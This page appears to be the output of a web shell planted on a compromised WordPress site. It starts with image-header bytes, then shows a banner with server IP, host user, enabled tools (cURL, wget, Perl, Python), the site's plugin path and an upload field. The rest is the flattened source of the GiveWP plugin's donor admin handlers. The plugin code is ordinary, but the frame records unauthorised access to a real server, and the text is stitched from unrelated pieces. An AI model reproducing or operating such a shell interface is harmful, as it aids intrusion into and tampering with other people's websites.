????JFIF??x?x????'
Server IP : 104.21.32.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/./pontiacques.org/wp-content/plugins/give/includes/admin/donors/ |
Upload File : |
<?php /** * Donors * * @package Give * @subpackage Admin/Donors * @copyright Copyright (c) 2016, GiveWP * @license https://opensource.org/licenses/gpl-license GNU Public License * @since 1.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Processes a donor edit. * * @since 3.7.0 Add support to the "phone" field * @since 1.0 * * @param array $args The $_POST array being passed. * * @return array|bool $output Response messages * @throws Exception */ function give_edit_donor( $args ) { $donor_edit_role = apply_filters( 'give_edit_donors_role', 'edit_give_payments' ); if ( ! is_admin() || ! current_user_can( $donor_edit_role ) ) { wp_die( esc_html__( 'You do not have permission to edit this donor.', 'give' ), esc_html__( 'Error', 'give' ), array( 'response' => 403, ) ); } if ( empty( $args ) ) { return false; } // Sanitize Data. $args = give_clean( $args ); $args = wp_parse_args( $args, array( 'give_anonymous_donor' => 0, ) ); // Verify Nonce. if ( ! wp_verify_nonce( $args['_wpnonce'], 'edit-donor' ) ) { wp_die( esc_html__( 'Cheatin’ uh?', 'give' ), esc_html__( 'Error', 'give' ), array( 'response' => 400, ) ); } $donor_info = $args['donor_info']; $donor_id = intval( $donor_info['id'] ); $donor = new Give_Donor( $donor_id ); // Bailout, if donor id doesn't exists. if ( empty( $donor->id ) ) { return false; } $defaults = array( 'title' => '', 'name' => '', 'user_id' => 0, 'line1' => '', 'line2' => '', 'city' => '', 'zip' => '', 'state' => '', 'country' => '', ); $donor_info = wp_parse_args( $donor_info, $defaults ); if ( (int) $donor_info['user_id'] !== (int) $donor->user_id ) { // Make sure we don't already have this user attached to a donor. if ( ! empty( $donor_info['user_id'] ) && false !== Give()->donors->get_donor_by( 'user_id', $donor_info['user_id'] ) ) { give_set_error( 'give-invalid-donor-user_id', sprintf( /* translators: %d User ID */ __( 'The User ID #%d is already associated with a different donor.', 'give' ), $donor_info['user_id'] ) ); } // Make sure it's actually a user. $user = get_user_by( 'id', $donor_info['user_id'] ); if ( ! empty( $donor_info['user_id'] ) && false === $user ) { give_set_error( 'give-invalid-user_id', sprintf( /* translators: %d User ID */ __( 'The User ID #%d does not exist. Please assign an existing user.', 'give' ), $donor_info['user_id'] ) ); } } // Bailout, if errors are present. if ( give_get_errors() ) { return false; } $donor->update_meta( '_give_anonymous_donor', absint( $args['give_anonymous_donor'] ) ); // Save company name in when admin update donor company name from dashboard. $donor->update_meta( '_give_donor_company', sanitize_text_field( $args['give_donor_company'] ) ); /** * Fires after using the submitted data to update the donor metadata. * * @param array $args The sanitized data submitted. * @param int $donor_id The donor ID. * * @since 3.7.0 */ do_action('give_admin_donor_details_updating', $args, $donor->id); // If First name of donor is empty, then fetch the current first name of donor. if ( empty( $donor_info['first_name'] ) ) { $donor_info['first_name'] = $donor->get_first_name(); } // Sanitize the inputs. $donor_data = array(); $donor_data['name'] = trim( "{$donor_info['first_name']} {$donor_info['last_name']}" ); $donor_data['first_name'] = $donor_info['first_name']; $donor_data['last_name'] = $donor_info['last_name']; $donor_data['title'] = $donor_info['title']; $donor_data['user_id'] = $donor_info['user_id']; $donor_data = apply_filters( 'give_edit_donor_info', $donor_data, $donor_id ); /** * Filter the address * * @todo unnecessary filter because we are not storing donor address to user. * * @since 1.0 */ $address = apply_filters( 'give_edit_donor_address', array(), $donor_id ); $donor_data = give_clean( $donor_data ); $address = give_clean( $address ); $output = give_connect_user_donor_profile( $donor, $donor_data, $address ); if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { header( 'Content-Type: application/json' ); echo wp_json_encode( $output ); wp_die(); } if ( $output['success'] ) { wp_safe_redirect( esc_url_raw( add_query_arg( array( 'post_type' => 'give_forms', 'page' => 'give-donors', 'view' => 'overview', 'id' => $donor_id, 'give-messages[]' => 'profile-updated', ), admin_url( 'edit.php' ) ) ) ); } exit; } add_action( 'give_edit-donor', 'give_edit_donor', 10, 1 ); /** * Save a donor note. * * @param array $args The $_POST array being passed. * * @since 1.0 * * @return int The Note ID that was saved, or 0 if nothing was saved. */ function give_donor_save_note( $args ) { $donor_view_role = apply_filters( 'give_view_donors_role', 'view_give_reports' ); if ( ! is_admin() || ! current_user_can( $donor_view_role ) ) { wp_die( __( 'You do not have permission to edit this donor.', 'give' ), __( 'Error', 'give' ), array( 'response' => 403, ) ); } if ( empty( $args ) ) { return false; } $donor_note = trim( give_clean( $args['donor_note'] ) ); $donor_id = (int) $args['customer_id']; $nonce = $args['add_donor_note_nonce']; if ( ! wp_verify_nonce( $nonce, 'add-donor-note' ) ) { wp_die( __( 'Cheatin’ uh?', 'give' ), __( 'Error', 'give' ), array( 'response' => 400, ) ); } if ( empty( $donor_note ) ) { give_set_error( 'empty-donor-note', __( 'A note is required.', 'give' ) ); } if ( give_get_errors() ) { return false; } $donor = new Give_Donor( $donor_id ); $new_note = $donor->add_note( $donor_note ); /** * Fires before inserting donor note. * * @param int $donor_id The ID of the donor. * @param string $new_note Note content. * * @since 1.0 */ do_action( 'give_pre_insert_donor_note', $donor_id, $new_note ); if ( ! empty( $new_note ) && ! empty( $donor->id ) ) { ob_start(); ?> <div class="donor-note-wrapper dashboard-comment-wrap comment-item"> <span class="note-content-wrap"> <?php echo stripslashes( $new_note ); ?> </span> </div> <?php $output = ob_get_contents(); ob_end_clean(); if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { echo $output; exit; } return $new_note; } return false; } add_action( 'give_add-donor-note', 'give_donor_save_note', 10, 1 ); /** * Disconnect a user ID from a donor * * @param array $args Array of arguments. * * @since 1.0 * * @return bool|array If the disconnect was successful. */ function give_disconnect_donor_user_id( $args ) { $donor_edit_role = apply_filters( 'give_edit_donors_role', 'edit_give_payments' ); if ( ! is_admin() || ! current_user_can( $donor_edit_role ) ) { wp_die( __( 'You do not have permission to edit this donor.', 'give' ), __( 'Error', 'give' ), array( 'response' => 403, ) ); } if ( empty( $args ) ) { return false; } $donor_id = (int) $args['customer_id']; $nonce = $args['_wpnonce']; if ( ! wp_verify_nonce( $nonce, 'edit-donor' ) ) { wp_die( __( 'Cheatin’ uh?', 'give' ), __( 'Error', 'give' ), array( 'response' => 400, ) ); } $donor = new Give_Donor( $donor_id ); if ( empty( $donor->id ) ) { return false; } $user_id = $donor->user_id; /** * Fires before disconnecting user ID from a donor. * * @param int $donor_id The ID of the donor. * @param int $user_id The ID of the user. * * @since 1.0 */ do_action( 'give_pre_donor_disconnect_user_id', $donor_id, $user_id ); $output = array(); $donor_args = array( 'user_id' => 0, ); $redirect_url = admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' ) . $donor_id; $is_donor_updated = $donor->update( $donor_args ); if ( $is_donor_updated ) { // Set meta for disconnected donor id and user id for future reference if needed. update_user_meta( $user_id, '_give_disconnected_donor_id', $donor->id ); $donor->update_meta( '_give_disconnected_user_id', $user_id ); $redirect_url = add_query_arg( 'give-messages[]', 'disconnect-user', $redirect_url ); $output['success'] = true; } else { $output['success'] = false; give_set_error( 'give-disconnect-user-fail', __( 'Failed to disconnect user from donor.', 'give' ) ); } $output['redirect'] = esc_url_raw( $redirect_url ); /** * Fires after disconnecting user ID from a donor. * * @param int $donor_id The ID of the donor. * * @since 1.0 */ do_action( 'give_post_donor_disconnect_user_id', $donor_id ); if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { header( 'Content-Type: application/json' ); echo json_encode( $output ); wp_die(); } return $output; } add_action( 'give_disconnect-userid', 'give_disconnect_donor_user_id', 10, 1 ); /** * Add an email address to the donor from within the admin and log a donor note. * * @param array $args Array of arguments: nonce, donor id, and email address. * * @since 1.7 * * @return mixed If DOING_AJAX echos out JSON, otherwise returns array of success (bool) and message (string). */ function give_add_donor_email( $args ) { $donor_id = ''; $donor_edit_role = apply_filters( 'give_edit_donors_role', 'edit_give_payments' ); if ( ! is_admin() || ! current_user_can( $donor_edit_role ) ) { wp_die( __( 'You do not have permission to edit this donor.', 'give' ), __( 'Error', 'give' ), array( 'response' => 403, ) ); } $output = array(); if ( empty( $args ) || empty( $args['email'] ) || empty( $args['customer_id'] ) ) { $output['success'] = false; if ( empty( $args['email'] ) ) { $output['message'] = __( 'Email address is required.', 'give' ); } elseif ( empty( $args['customer_id'] ) ) { $output['message'] = __( 'Donor ID is required.', 'give' ); } else { $output['message'] = __( 'An error has occurred. Please try again.', 'give' ); } } elseif ( ! wp_verify_nonce( $args['_wpnonce'], 'give_add_donor_email' ) ) { $output = array( 'success' => false, 'message' => __( 'We\'re unable to recognize your session. Please refresh the screen to try again; otherwise contact your website administrator for assistance.', 'give' ), ); } elseif ( ! is_email( $args['email'] ) ) { $output = array( 'success' => false, 'message' => __( 'Invalid email.', 'give' ), ); } else { $email = sanitize_email( $args['email'] ); $donor_id = (int) $args['customer_id']; $primary = 'true' === $args['primary'] ? true : false; $donor = new Give_Donor( $donor_id ); if ( false === $donor->add_email( $email, $primary ) ) { if ( in_array( $email, $donor->emails ) ) { $output = array( 'success' => false, 'message' => __( 'Email already associated with this donor.', 'give' ), ); } else { $output = array( 'success' => false, 'message' => __( 'Email address is already associated with another donor.', 'give' ), ); } } else { $redirect = admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' . $donor_id . '&give-messages[]=email-added' ); $output = array( 'success' => true, 'message' => __( 'Email successfully added to donor.', 'give' ), 'redirect' => $redirect, ); $user = wp_get_current_user(); $user_login = ! empty( $user->user_login ) ? $user->user_login : __( 'System', 'give' ); $donor_note = sprintf( __( 'Email address %1$s added by %2$s', 'give' ), $email, $user_login ); $donor->add_note( $donor_note ); if ( $primary ) { $donor_note = sprintf( __( 'Email address %1$s set as primary by %2$s', 'give' ), $email, $user_login ); $donor->add_note( $donor_note ); } } } // End if(). do_action( 'give_post_add_donor_email', $donor_id, $args ); if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { header( 'Content-Type: application/json' ); echo json_encode( $output ); wp_die(); } return $output; } add_action( 'give_add_donor_email', 'give_add_donor_email', 10, 1 ); /** * Remove an email address to the donor from within the admin and log a donor note and redirect back to the donor interface for feedback. * * @since 1.7 * * @return bool|null */ function give_remove_donor_email() { if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) { return false; } if ( empty( $_GET['email'] ) || ! is_email( $_GET['email'] ) ) { return false; } if ( empty( $_GET['_wpnonce'] ) ) { return false; } $nonce = $_GET['_wpnonce']; if ( ! wp_verify_nonce( $nonce, 'give-remove-donor-email' ) ) { wp_die( __( 'We\'re unable to recognize your session. Please refresh the screen to try again; otherwise contact your website administrator for assistance.', 'give' ), __( 'Error', 'give' ), array( 'response' => 403, ) ); } $donor = new Give_Donor( $_GET['id'] ); if ( $donor->remove_email( $_GET['email'] ) ) { $url = add_query_arg( 'give-messages[]', 'email-removed', admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' . $donor->id ) ); $user = wp_get_current_user(); $user_login = ! empty( $user->user_login ) ? $user->user_login : __( 'System', 'give' ); $donor_note = sprintf( __( 'Email address %1$s removed by %2$s', 'give' ), $_GET['email'], $user_login ); $donor->add_note( $donor_note ); } else { $url = add_query_arg( 'give-messages[]', 'email-remove-failed', admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' . $donor->id ) ); } wp_safe_redirect( esc_url_raw( $url ) ); exit; } add_action( 'give_remove_donor_email', 'give_remove_donor_email', 10 ); /** * Set an email address as the primary for a donor from within the admin and log a donor note * and redirect back to the donor interface for feedback * * @since 1.7 * * @return bool|null */ function give_set_donor_primary_email() { if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) { return false; } if ( empty( $_GET['email'] ) || ! is_email( $_GET['email'] ) ) { return false; } if ( empty( $_GET['_wpnonce'] ) ) { return false; } $nonce = $_GET['_wpnonce']; if ( ! wp_verify_nonce( $nonce, 'give-set-donor-primary-email' ) ) { wp_die( __( 'We\'re unable to recognize your session. Please refresh the screen to try again; otherwise contact your website administrator for assistance.', 'give' ), __( 'Error', 'give' ), array( 'response' => 403, ) ); } $donor = new Give_Donor( $_GET['id'] ); if ( $donor->set_primary_email( $_GET['email'] ) ) { $url = add_query_arg( 'give-messages[]', 'primary-email-updated', admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' . $donor->id ) ); $user = wp_get_current_user(); $user_login = ! empty( $user->user_login ) ? $user->user_login : __( 'System', 'give' ); $donor_note = sprintf( __( 'Email address %1$s set as primary by %2$s', 'give' ), $_GET['email'], $user_login ); $donor->add_note( $donor_note ); } else { $url = add_query_arg( 'give-messages[]', 'primary-email-failed', admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' . $donor->id ) ); } wp_safe_redirect( esc_url_raw( $url ) ); exit; } add_action( 'give_set_donor_primary_email', 'give_set_donor_primary_email', 10 ); /** * This function will process the donor deletion. * * @param array $args Donor Deletion Arguments. * * @since 2.2 */ function give_process_donor_deletion( $args ) { // Bailout. if ( ! isset( $args['give-donor-delete-confirm'] ) ) { return; } $donor_edit_role = apply_filters( 'give_edit_donors_role', 'edit_give_payments' ); // Verify user capabilities to proceed for deleting donor. if ( ! is_admin() || ! current_user_can( $donor_edit_role ) ) { wp_die( esc_html__( 'You do not have permission to delete donors.', 'give' ), esc_html__( 'Error', 'give' ), array( 'response' => 403, ) ); } $nonce_action = ''; if ( 'delete_bulk_donor' === $args['give_action'] ) { $nonce_action = 'bulk-donors'; } elseif ( 'delete_donor' === $args['give_action'] ) { $nonce_action = 'give-delete-donor'; } // Verify Nonce for deleting bulk donors. give_validate_nonce( $args['_wpnonce'], $nonce_action ); $redirect_args = array(); $donor_ids = ( isset( $args['donor'] ) && is_array( $args['donor'] ) ) ? $args['donor'] : array( $args['donor_id'] ); $redirect_args['order'] = ! empty( $args['order'] ) ? $args['order'] : 'DESC'; $redirect_args['orderby'] = ! empty( $args['orderby'] ) ? strtolower( $args['orderby'] ) : 'id'; $redirect_args['s'] = ! empty( $args['s'] ) ? $args['s'] : ''; $delete_donor = ! empty( $args['give-donor-delete-confirm'] ) ? give_is_setting_enabled( $args['give-donor-delete-confirm'] ) : false; $delete_donation = ! empty( $args['give-donor-delete-records'] ) ? give_is_setting_enabled( $args['give-donor-delete-records'] ) : false; if ( count( $donor_ids ) > 0 ) { // Loop through the selected donors to delete. foreach ( $donor_ids as $donor_id ) { $donor = new Give_Donor( $donor_id ); // Proceed only if valid donor id is provided. if ( $donor->id > 0 ) { /** * Fires before deleting donor. * * @param int $donor_id The ID of the donor. * @param bool $delete_donor Confirm Donor Deletion. * @param bool $delete_donation Confirm Donor related donations deletion. * * @since 1.0 */ do_action( 'give_pre_delete_donor', $donor->id, $delete_donor, $delete_donation ); // Proceed only, if user confirmed whether they need to delete the donor. if ( $delete_donor ) { // Delete donor and linked donations. $donor_delete_status = give_delete_donor_and_related_donation( $donor, array( 'delete_donation' => $delete_donation, ) ); if ( 1 === $donor_delete_status ) { $redirect_args['give-messages[]'] = 'donor-deleted'; } elseif ( 2 === $donor_delete_status ) { $redirect_args['give-messages[]'] = 'donor-donations-deleted'; } } else { $redirect_args['give-messages[]'] = 'confirm-delete-donor'; } } else { $redirect_args['give-messages[]'] = 'invalid-donor-id'; } // End if(). } // End foreach(). } else { $redirect_args['give-messages[]'] = 'no-donor-found'; } // End if(). $redirect_url = add_query_arg( $redirect_args, admin_url( 'edit.php?post_type=give_forms&page=give-donors' ) ); wp_safe_redirect( esc_url_raw( $redirect_url ) ); give_die(); } add_action( 'give_delete_donor', 'give_process_donor_deletion' ); add_action( 'give_delete_bulk_donor', 'give_process_donor_deletion' );